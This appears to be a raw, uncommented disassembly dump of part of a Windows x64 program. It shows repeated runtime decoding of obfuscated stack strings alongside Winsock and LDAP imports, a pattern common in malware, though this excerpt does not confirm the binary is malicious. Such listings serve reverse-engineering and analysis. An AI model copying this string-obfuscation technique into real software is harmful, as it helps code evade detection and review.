mov eax, WSAGetLastError
mov word [rsp + 0x76c], ax
mov eax, WSAStartup
mov word [rsp + 0x76e], ax
mov eax, WSAGetLastError
mov word [rsp + 0x770], ax
xor eax, eax
mov word [rsp + 0x772], ax
lea rax, [rsp + 0xb5c]
lea rcx, [rsp + 0x768]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x240], 0
jmp 0x14003a490
mov rax, qword [rsp + 0x240]
inc rax
mov qword [rsp + 0x240], rax
cmp qword [rsp + 0x240], 4
jae 0x14003a50d
lea rax, [rsp + 0xb5e]
mov qword [rsp + 0xe00], rax
mov rdx, qword [rsp + 0x240]
mov rcx, qword [rsp + 0xe00]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb5c]
call fcn.140002b40
mov word [rsp + 0xb2], ax
lea rax, [rsp + 0xb5e]
mov qword [rsp + 0xe08], rax
mov rdx, qword [rsp + 0x240]
mov rcx, qword [rsp + 0xe08]
call fcn.140002994
movzx ecx, word [rsp + 0xb2]
mov word [rax], cx
jmp 0x14003a47d
lea rax, [rsp + 0xb5e]
mov qword [rsp + 0xe10], rax
mov edx, 4
mov rcx, qword [rsp + 0xe10]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb5e]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xe18], rax
mov rdx, qword [rsp + 0xe18]
lea rcx, [rsp + 0x2b40]
call fcn.140002cb4
nop
mov byte [rsp + 0x778], 0x62
lea rax, [rsp + 0x779]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_79
mov word [rsp + 0x77a], ax
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov word [rsp + 0x77c], ax
mov eax, reloc.WLDAP32.dll_Ordinal_26
mov word [rsp + 0x77e], ax
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov word [rsp + 0x780], ax
xor eax, eax
mov word [rsp + 0x782], ax
lea rax, [rsp + 0xb20]
lea rcx, [rsp + 0x778]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x248], 0
jmp 0x14003a5fa
mov rax, qword [rsp + 0x248]
inc rax
mov qword [rsp + 0x248], rax
cmp qword [rsp + 0x248], 4
jae 0x14003a677
lea rax, [rsp + 0xb22]
mov qword [rsp + 0xe20], rax
mov rdx, qword [rsp + 0x248]
mov rcx, qword [rsp + 0xe20]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb20]
call fcn.140002b40
mov word [rsp + 0xb4], ax
lea rax, [rsp + 0xb22]
mov qword [rsp + 0xe28], rax
mov rdx, qword [rsp + 0x248]
mov rcx, qword [rsp + 0xe28]
call fcn.140002994
movzx ecx, word [rsp + 0xb4]
mov word [rax], cx
jmp 0x14003a5e7
lea rax, [rsp + 0xb22]
mov qword [rsp + 0xe30], rax
mov edx, 4
mov rcx, qword [rsp + 0xe30]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb22]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xe38], rax
mov rdx, qword [rsp + 0xe38]
lea rcx, [rsp + 0x2b60]
call fcn.140002cb4
nop
mov byte [rsp + 0x788], 3
lea rax, [rsp + 0x789]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WLDAP32.dll_Ordinal_45
mov word [rsp + 0x78a], ax
mov eax, 0x79
mov word [rsp + 0x78c], ax
mov eax, 0x6a
mov word [rsp + 0x78e], ax
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x790], ax
xor eax, eax
mov word [rsp + 0x792], ax
lea rax, [rsp + 0xb2c]
lea rcx, [rsp + 0x788]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x250], 0
jmp 0x14003a764
mov rax, qword [rsp + 0x250]
inc rax
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 4
jae 0x14003a7e1
lea rax, [rsp + 0xb2e]
mov qword [rsp + 0xe40], rax
mov rdx, qword [rsp + 0x250]
mov rcx, qword [rsp + 0xe40]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb2c]
call fcn.140002b40
mov word [rsp + 0xb6], ax
lea rax, [rsp + 0xb2e]
mov qword [rsp + 0xe48], rax
mov rdx, qword [rsp + 0x250]
mov rcx, qword [rsp + 0xe48]
call fcn.140002994
movzx ecx, word [rsp + 0xb6]
mov word [rax], cx
jmp 0x14003a751
lea rax, [rsp + 0xb2e]
mov qword [rsp + 0xe50], rax
mov edx, 4
mov rcx, qword [rsp + 0xe50]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb2e]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xe58], rax
mov rdx, qword [rsp + 0xe58]
lea rcx, [rsp + 0x2b80]
call fcn.140002cb4
nop
mov byte [rsp + 0x798], 0xa
lea rax, [rsp + 0x799]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x24
mov word [rsp + 0x79a], ax
mov eax, 0x78
mov word [rsp + 0x79c], ax
mov eax, WSAGetLastError
mov word [rsp + 0x79e], ax
mov eax, 0x78
mov word [rsp + 0x7a0], ax
xor eax, eax
mov word [rsp + 0x7a2], ax
lea rax, [rsp + 0xb38]
lea rcx, [rsp + 0x798]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x258], 0
jmp 0x14003a8ce
mov rax, qword [rsp + 0x258]
inc rax
mov qword [rsp + 0x258], rax
cmp qword [rsp + 0x258], 4
jae 0x14003a94b
lea rax, [rsp + 0xb3a]
mov qword [rsp + 0xe60], rax
mov rdx, qword [rsp + 0x258]
mov rcx, qword [rsp + 0xe60]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb38]
call fcn.140002b40
mov word [rsp + 0xb8], ax
lea rax, [rsp + 0xb3a]
mov qword [rsp + 0xe68], rax
mov rdx, qword [rsp + 0x258]
mov rcx, qword [rsp + 0xe68]
call fcn.140002994
movzx ecx, word [rsp + 0xb8]
mov word [rax], cx
jmp 0x14003a8bb
lea rax, [rsp + 0xb3a]
mov qword [rsp + 0xe70], rax
mov edx, 4
mov rcx, qword [rsp + 0xe70]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb3a]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xe78], rax
mov rdx, qword [rsp + 0xe78]
lea rcx, [rsp + 0x2ba0]
call fcn.140002cb4
nop
mov byte [rsp + 0x6c8], 0x5a
lea rax, [rsp + 0x6c9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x6ca], ax
mov eax, gethostname
mov word [rsp + 0x6cc], ax
mov eax, 0x33
mov word [rsp + 0x6ce], ax
mov eax, Ordinal_60
mov word [rsp + 0x6d0], ax
xor eax, eax
mov word [rsp + 0x6d2], ax
lea rax, [rsp + 0xb08]
lea rcx, [rsp + 0x6c8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x260], 0
jmp 0x14003aa38
mov rax, qword [rsp + 0x260]
inc rax
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x260], 4
jae 0x14003aab5
lea rax, [rsp + 0xb0a]
mov qword [rsp + 0xe80], rax
mov rdx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0xe80]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb08]
call fcn.140002b40
mov word [rsp + 0xba], ax
lea rax, [rsp + 0xb0a]
mov qword [rsp + 0xe88], rax
mov rdx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0xe88]
call fcn.140002994
movzx ecx, word [rsp + 0xba]
mov word [rax], cx
jmp 0x14003aa25
lea rax, [rsp + 0xb0a]
mov qword [rsp + 0xe90], rax
mov edx, 4
mov rcx, qword [rsp + 0xe90]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb0a]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xe98], rax
mov rdx, qword [rsp + 0xe98]
lea rcx, [rsp + 0x2bc0]
call fcn.140002cb4
nop
mov byte [rsp + 0x7a8], 0x64
lea rax, [rsp + 0x7a9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x4a
mov word [rsp + 0x7aa], ax
mov eax, reloc.WS2_32.dll_ntohl
mov word [rsp + 0x7ac], ax
mov eax, 5
mov word [rsp + 0x7ae], ax
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov word [rsp + 0x7b0], ax
xor eax, eax
mov word [rsp + 0x7b2], ax
lea rax, [rsp + 0xb44]
lea rcx, [rsp + 0x7a8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x268], 0
jmp 0x14003aba2
mov rax, qword [rsp + 0x268]
inc rax
mov qword [rsp + 0x268], rax
cmp qword [rsp + 0x268], 4
jae 0x14003ac1f
lea rax, [rsp + 0xb46]
mov qword [rsp + 0xea0], rax
mov rdx, qword [rsp + 0x268]
mov rcx, qword [rsp + 0xea0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb44]
call fcn.140002b40
mov word [rsp + 0xbc], ax
lea rax, [rsp + 0xb46]
mov qword [rsp + 0xea8], rax
mov rdx, qword [rsp + 0x268]
mov rcx, qword [rsp + 0xea8]
call fcn.140002994
movzx ecx, word [rsp + 0xbc]
mov word [rax], cx
jmp 0x14003ab8f
lea rax, [rsp + 0xb46]
mov qword [rsp + 0xeb0], rax
mov edx, 4
mov rcx, qword [rsp + 0xeb0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb46]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xeb8], rax
mov rdx, qword [rsp + 0xeb8]
lea rcx, [rsp + 0x2be0]
call fcn.140002cb4
nop
mov byte [rsp + 0x7b8], 0x6d
lea rax, [rsp + 0x7b9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x43
mov word [rsp + 0x7ba], ax
mov eax, 9
mov word [rsp + 0x7bc], ax
mov eax, 1
mov word [rsp + 0x7be], ax
mov eax, 1
mov word [rsp + 0x7c0], ax
xor eax, eax
mov word [rsp + 0x7c2], ax
lea rax, [rsp + 0xb50]
lea rcx, [rsp + 0x7b8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x270], 0
jmp 0x14003ad0c
mov rax, qword [rsp + 0x270]
inc rax
mov qword [rsp + 0x270], rax
cmp qword [rsp + 0x270], 4
jae 0x14003ad89
lea rax, [rsp + 0xb52]
mov qword [rsp + 0xec0], rax
mov rdx, qword [rsp + 0x270]
mov rcx, qword [rsp + 0xec0]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb50]
call fcn.140002b40
mov word [rsp + 0xbe], ax
lea rax, [rsp + 0xb52]
mov qword [rsp + 0xec8], rax
mov rdx, qword [rsp + 0x270]
mov rcx, qword [rsp + 0xec8]
call fcn.140002994
movzx ecx, word [rsp + 0xbe]
mov word [rax], cx
jmp 0x14003acf9
lea rax, [rsp + 0xb52]
mov qword [rsp + 0xed0], rax
mov edx, 4
mov rcx, qword [rsp + 0xed0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb52]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xed8], rax
mov rdx, qword [rsp + 0xed8]
lea rcx, [rsp + 0x2c00]
call fcn.140002cb4
nop
lea rdx, [0x1401e5608]
lea rcx, [rsp + 0x2c20]
call fcn.140002cb4
nop
lea rax, [rsp + 0x2c40]
mov r8, rax
lea rdx, [rsp + 0x2b40]
lea rcx, [rsp + 0x2250]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1d50], xmm0
movups xmm0, xmmword [rsp + 0x1d50]
movdqu xmmword [rsp + 0x1d60], xmm0
mov r8, qword [rsp + 0xee0]
lea rdx, [rsp + 0x1d60]
lea rcx, [rsp + 0x1ed8]
call fcn.140005018
nop
lea rcx, [rsp + 0x23c0]
call fcn.1400356e0
mov qword [rsp + 0xee8], rax
mov rax, qword [rsp + 0xee8]
mov qword [rsp + 0xef0], rax
mov rdx, qword [rsp + 0xef0]
lea rcx, [rsp + 0x2480]
call fcn.14000352c
mov qword [rsp + 0xef8], rax
mov rax, qword [rsp + 0xef8]
mov qword [rsp + 0xf00], rax
mov rax, qword [rsp + 0xf00]
mov qword [rsp + 0xf18], rax
lea rax, [rsp + 0x34e0]
mov qword [rsp + 0xf08], rax
mov rdx, qword [rsp + 0x3600]
mov rcx, qword [rsp + 0xf08]
call fcn.14000359c
mov qword [rsp + 0xf10], rax
mov rax, qword [rsp + 0xf10]
mov qword [rsp + 0xf20], rax
mov qword [rsp + 0x30], 0x500000
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 2
lea r9, [rsp + 0x1ef0]
lea r8, [rsp + 0x1ed8]
mov rdx, qword [rsp + 0xf18]
mov rcx, qword [rsp + 0xf20]
call fcn.14004bebc
nop
lea rcx, [rsp + 0x2480]
call fcn.140002984
nop
lea rcx, [rsp + 0x23c0]
call fcn.140002984
nop
lea rcx, [rsp + 0x1ed8]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 8
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2b40]
call fcn.1401735d0
nop
lea rcx, [rsp + 0x1ef0]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 5
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x28b0]
call fcn.1401735d0
lea rcx, [rsp + 0x4a]
call fcn.140002990
mov qword [rsp + 0xf28], rax
lea rdx, [0x1401e5608]
lea rcx, [rsp + 0x2050]
call fcn.140002cb4
nop
lea rax, [rsp + 0x2070]
mov r8, rax
lea rdx, [rsp + 0x2050]
lea rcx, [rsp + 0x2300]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1d70], xmm0
movups xmm0, xmmword [rsp + 0x1d70]
movdqu xmmword [rsp + 0x1d80], xmm0
mov r8, qword [rsp + 0xf28]
lea rdx, [rsp + 0x1d80]
lea rcx, [rsp + 0x1f20]
call fcn.140005018
nop
lea rcx, [rsp + 0x4b]
call fcn.140002990
mov qword [rsp + 0xfb0], rax
mov byte [rsp + 0x7c8], 0x73
lea rax, [rsp + 0x7c9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x5d
mov word [rsp + 0x7ca], ax
mov eax, 7
mov word [rsp + 0x7cc], ax
mov eax, listen
mov word [rsp + 0x7ce], ax
mov eax, 7
mov word [rsp + 0x7d0], ax
xor eax, eax
mov word [rsp + 0x7d2], ax
lea rax, [rsp + 0xb68]
lea rcx, [rsp + 0x7c8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x278], 0
jmp 0x14003b0cf
mov rax, qword [rsp + 0x278]
inc rax
mov qword [rsp + 0x278], rax
cmp qword [rsp + 0x278], 4
jae 0x14003b14c
lea rax, [rsp + 0xb6a]
mov qword [rsp + 0xf30], rax
mov rdx, qword [rsp + 0x278]
mov rcx, qword [rsp + 0xf30]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xb68]
call fcn.140002b40
mov word [rsp + 0xc0], ax
lea rax, [rsp + 0xb6a]
mov qword [rsp + 0xf38], rax
mov rdx, qword [rsp + 0x278]
mov rcx, qword [rsp + 0xf38]
call fcn.140002994
movzx ecx, word [rsp + 0xc0]
mov word [rax], cx
jmp 0x14003b0bc
lea rax, [rsp + 0xb6a]
mov qword [rsp + 0xf40], rax
mov edx, 4
mov rcx, qword [rsp + 0xf40]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xb6a]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xf48], rax
mov rdx, qword [rsp + 0xf48]
lea rcx, [rsp + 0x2680]
call fcn.140002cb4
nop
mov byte [rsp + 0x7d8], 0x15
lea rax, [rsp + 0x7d9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_60
mov word [rsp + 0x7da], ax
mov eax, WSAStartup
mov word [rsp + 0x7dc], ax
mov eax, reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x7de], ax
mov eax, 0x61
mov word [rsp + 0x7e0], ax
xor eax, eax
mov word [rsp + 0x7e2], ax
lea rax, [rsp + 0xa3c]
lea rcx, [rsp + 0x7d8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x280], 0
jmp 0x14003b239
mov rax, qword [rsp + 0x280]
inc rax
mov qword [rsp + 0x280], rax
cmp qword [rsp + 0x280], 4
jae 0x14003b2b6
lea rax, [rsp + 0xa3e]
mov qword [rsp + 0xf50], rax
mov rdx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0xf50]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa3c]
call fcn.140002b40
mov word [rsp + 0xc2], ax
lea rax, [rsp + 0xa3e]
mov qword [rsp + 0xf58], rax
mov rdx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0xf58]
call fcn.140002994
movzx ecx, word [rsp + 0xc2]
mov word [rax], cx
jmp 0x14003b226
lea rax, [rsp + 0xa3e]
mov qword [rsp + 0xf60], rax
mov edx, 4
mov rcx, qword [rsp + 0xf60]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa3e]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xf68], rax
mov rdx, qword [rsp + 0xf68]
lea rcx, [rsp + 0x26a0]
call fcn.140002cb4
nop
mov byte [rsp + 0x7e8], 4
lea rax, [rsp + 0x7e9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, Ordinal_45
mov word [rsp + 0x7ea], ax
mov eax, 0x76
mov word [rsp + 0x7ec], ax
mov eax, reloc.WS2_32.dll_WSASetLastError
mov word [rsp + 0x7ee], ax
mov eax, 0x62
mov word [rsp + 0x7f0], ax
xor eax, eax
mov word [rsp + 0x7f2], ax
lea rax, [rsp + 0xa48]
lea rcx, [rsp + 0x7e8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x288], 0
jmp 0x14003b3a3
mov rax, qword [rsp + 0x288]
inc rax
mov qword [rsp + 0x288], rax
cmp qword [rsp + 0x288], 4
jae 0x14003b420
lea rax, [rsp + 0xa4a]
mov qword [rsp + 0xf70], rax
mov rdx, qword [rsp + 0x288]
mov rcx, qword [rsp + 0xf70]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa48]
call fcn.140002b40
mov word [rsp + 0xc4], ax
lea rax, [rsp + 0xa4a]
mov qword [rsp + 0xf78], rax
mov rdx, qword [rsp + 0x288]
mov rcx, qword [rsp + 0xf78]
call fcn.140002994
movzx ecx, word [rsp + 0xc4]
mov word [rax], cx
jmp 0x14003b390
lea rax, [rsp + 0xa4a]
mov qword [rsp + 0xf80], rax
mov edx, 4
mov rcx, qword [rsp + 0xf80]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa4a]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xf88], rax
mov rdx, qword [rsp + 0xf88]
lea rcx, [rsp + 0x26c0]
call fcn.140002cb4
nop
mov byte [rsp + 0x970], 0x24
lea rax, [rsp + 0x971]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0xa
mov word [rsp + 0x972], ax
mov eax, 0x53
mov word [rsp + 0x974], ax
mov eax, 0x45
mov word [rsp + 0x976], ax
mov eax, 0x48
mov word [rsp + 0x978], ax
mov eax, 0x48
mov word [rsp + 0x97a], ax
mov eax, 0x41
mov word [rsp + 0x97c], ax
mov eax, 0x50
mov word [rsp + 0x97e], ax
xor eax, eax
mov word [rsp + 0x980], ax
lea rax, [rsp + 0xc60]
lea rcx, [rsp + 0x970]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_select
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x290], 0
jmp 0x14003b534
mov rax, qword [rsp + 0x290]
inc rax
mov qword [rsp + 0x290], rax
cmp qword [rsp + 0x290], 7
jae 0x14003b5b1
lea rax, [rsp + 0xc62]
mov qword [rsp + 0xf90], rax
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0xf90]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xc60]
call fcn.140002b40
mov word [rsp + 0xc6], ax
lea rax, [rsp + 0xc62]
mov qword [rsp + 0xf98], rax
mov rdx, qword [rsp + 0x290]
mov rcx, qword [rsp + 0xf98]
call fcn.140002994
movzx ecx, word [rsp + 0xc6]
mov word [rax], cx
jmp 0x14003b521
lea rax, [rsp + 0xc62]
mov qword [rsp + 0xfa0], rax
mov edx, 7
mov rcx, qword [rsp + 0xfa0]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xc62]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0xfa8], rax
mov rdx, qword [rsp + 0xfa8]
lea rcx, [rsp + 0x26e0]
call fcn.140002cb4
nop
lea rax, [rsp + 0x2700]
mov r8, rax
lea rdx, [rsp + 0x2680]
lea rcx, [rsp + 0x2310]
call fcn.140005004
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1d90], xmm0
movups xmm0, xmmword [rsp + 0x1d90]
movdqu xmmword [rsp + 0x1da0], xmm0
mov r8, qword [rsp + 0xfb0]
lea rdx, [rsp + 0x1da0]
lea rcx, [rsp + 0x1f08]
call fcn.140005018
nop
lea rcx, [rsp + 0x23e0]
call fcn.1400ec748
mov qword [rsp + 0xfb8], rax
mov rax, qword [rsp + 0xfb8]
mov qword [rsp + 0xfc0], rax
mov rax, qword [rsp + 0xfc0]
mov qword [rsp + 0xfd8], rax
lea rax, [rsp + 0x35c0]
mov qword [rsp + 0xfc8], rax
mov rdx, qword [rsp + 0x3600]
mov rcx, qword [rsp + 0xfc8]
call fcn.14000359c
mov qword [rsp + 0xfd0], rax
mov rax, qword [rsp + 0xfd0]
mov qword [rsp + 0xfe0], rax
mov qword [rsp + 0x30], 0x500000
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 1
lea r9, [rsp + 0x1f20]
lea r8, [rsp + 0x1f08]
mov rdx, qword [rsp + 0xfd8]
mov rcx, qword [rsp + 0xfe0]
call fcn.14004bebc
nop
lea rcx, [rsp + 0x23e0]
call fcn.140002984
nop
lea rcx, [rsp + 0x1f08]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 4
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2680]
call fcn.1401735d0
nop
lea rcx, [rsp + 0x1f20]
call fcn.140005010
nop
lea r9, [fcn.140002984]
mov r8d, 1
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rsp + 0x2050]
call fcn.1401735d0
lea rcx, [rsp + 0x1f50]
call fcn.14000f48c
nop
lea rcx, [rsp + 0x4c]
call fcn.140002990
mov qword [rsp + 0x1088], rax
mov byte [rsp + 0x7f8], 0x6a
lea rax, [rsp + 0x7f9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x44
mov word [rsp + 0x7fa], ax
mov eax, reloc.WLDAP32.dll_Ordinal_30
mov word [rsp + 0x7fc], ax
mov eax, reloc.WS2_32.dll_select
mov word [rsp + 0x7fe], ax
mov eax, reloc.WLDAP32.dll_Ordinal_30
mov word [rsp + 0x800], ax
xor eax, eax
mov word [rsp + 0x802], ax
lea rax, [rsp + 0xa54]
lea rcx, [rsp + 0x7f8]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x298], 0
jmp 0x14003b833
mov rax, qword [rsp + 0x298]
inc rax
mov qword [rsp + 0x298], rax
cmp qword [rsp + 0x298], 4
jae 0x14003b8b0
lea rax, [rsp + 0xa56]
mov qword [rsp + 0xfe8], rax
mov rdx, qword [rsp + 0x298]
mov rcx, qword [rsp + 0xfe8]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa54]
call fcn.140002b40
mov word [rsp + 0xc8], ax
lea rax, [rsp + 0xa56]
mov qword [rsp + 0xff0], rax
mov rdx, qword [rsp + 0x298]
mov rcx, qword [rsp + 0xff0]
call fcn.140002994
movzx ecx, word [rsp + 0xc8]
mov word [rax], cx
jmp 0x14003b820
lea rax, [rsp + 0xa56]
mov qword [rsp + 0xff8], rax
mov edx, 4
mov rcx, qword [rsp + 0xff8]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa56]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1000], rax
mov rdx, qword [rsp + 0x1000]
lea rcx, [rsp + 0x2960]
call fcn.140002cb4
nop
mov byte [rsp + 0x808], 0x52
lea rax, [rsp + 0x809]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x7c
mov word [rsp + 0x80a], ax
mov eax, gethostname
mov word [rsp + 0x80c], ax
mov eax, 0x3d
mov word [rsp + 0x80e], ax
mov eax, Ordinal_50
mov word [rsp + 0x810], ax
xor eax, eax
mov word [rsp + 0x812], ax
lea rax, [rsp + 0xa60]
lea rcx, [rsp + 0x808]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2a0], 0
jmp 0x14003b99d
mov rax, qword [rsp + 0x2a0]
inc rax
mov qword [rsp + 0x2a0], rax
cmp qword [rsp + 0x2a0], 4
jae 0x14003ba1a
lea rax, [rsp + 0xa62]
mov qword [rsp + 0x1008], rax
mov rdx, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x1008]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa60]
call fcn.140002b40
mov word [rsp + 0xca], ax
lea rax, [rsp + 0xa62]
mov qword [rsp + 0x1010], rax
mov rdx, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x1010]
call fcn.140002994
movzx ecx, word [rsp + 0xca]
mov word [rax], cx
jmp 0x14003b98a
lea rax, [rsp + 0xa62]
mov qword [rsp + 0x1018], rax
mov edx, 4
mov rcx, qword [rsp + 0x1018]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa62]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1020], rax
mov rdx, qword [rsp + 0x1020]
lea rcx, [rsp + 0x2980]
call fcn.140002cb4
nop
mov byte [rsp + 0x618], 0x64
lea rax, [rsp + 0x619]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, 0x4a
mov word [rsp + 0x61a], ax
xor eax, eax
mov word [rsp + 0x61c], ax
mov eax, 5
mov word [rsp + 0x61e], ax
mov eax, reloc.WS2_32.dll_recv
mov word [rsp + 0x620], ax
xor eax, eax
mov word [rsp + 0x622], ax
lea rax, [rsp + 0xa6c]
lea rcx, [rsp + 0x618]
mov rdi, rax
mov rsi, rcx
mov ecx, recv
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2a8], 0
jmp 0x14003bb04
mov rax, qword [rsp + 0x2a8]
inc rax
mov qword [rsp + 0x2a8], rax
cmp qword [rsp + 0x2a8], 4
jae 0x14003bb81
lea rax, [rsp + 0xa6e]
mov qword [rsp + 0x1028], rax
mov rdx, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x1028]
call fcn.140002994
movzx edx, word [rax]
lea rcx, [rsp + 0xa6c]
call fcn.140002b40
mov word [rsp + 0xcc], ax
lea rax, [rsp + 0xa6e]
mov qword [rsp + 0x1030], rax
mov rdx, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x1030]
call fcn.140002994
movzx ecx, word [rsp + 0xcc]
mov word [rax], cx
jmp 0x14003baf1
lea rax, [rsp + 0xa6e]
mov qword [rsp + 0x1038], rax
mov edx, 4
mov rcx, qword [rsp + 0x1038]
call fcn.140002994
xor ecx, ecx
mov word [rax], cx
lea rax, [rsp + 0xa6e]
mov rcx, rax
call fcn.140002990
mov qword [rsp + 0x1040], rax
mov rdx, qword [rsp + 0x1040]
lea rcx, [rsp + 0x29a0]
call fcn.140002cb4
nop
mov byte [rsp + 0x628], 0x3b
lea rax, [rsp + 0x629]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov eax, reloc.WS2_32.dll_setsockopt
mov word [rsp + 0x62a], ax
mov eax, 0x49
mov word [rsp + 0x62c], ax
mov eax, reloc.WLDAP32.dll_Ordinal_79
mov word [rsp + 0x62e], ax
mov eax, 0x5d
mov word [rsp + 0x630], ax
xor eax, eax
mov word [rsp + 0x632], ax
lea rax, [rsp + 0xa78]
lea rcx, [rsp + 0x628]
mov rdi, rax
mov rsi, rcx
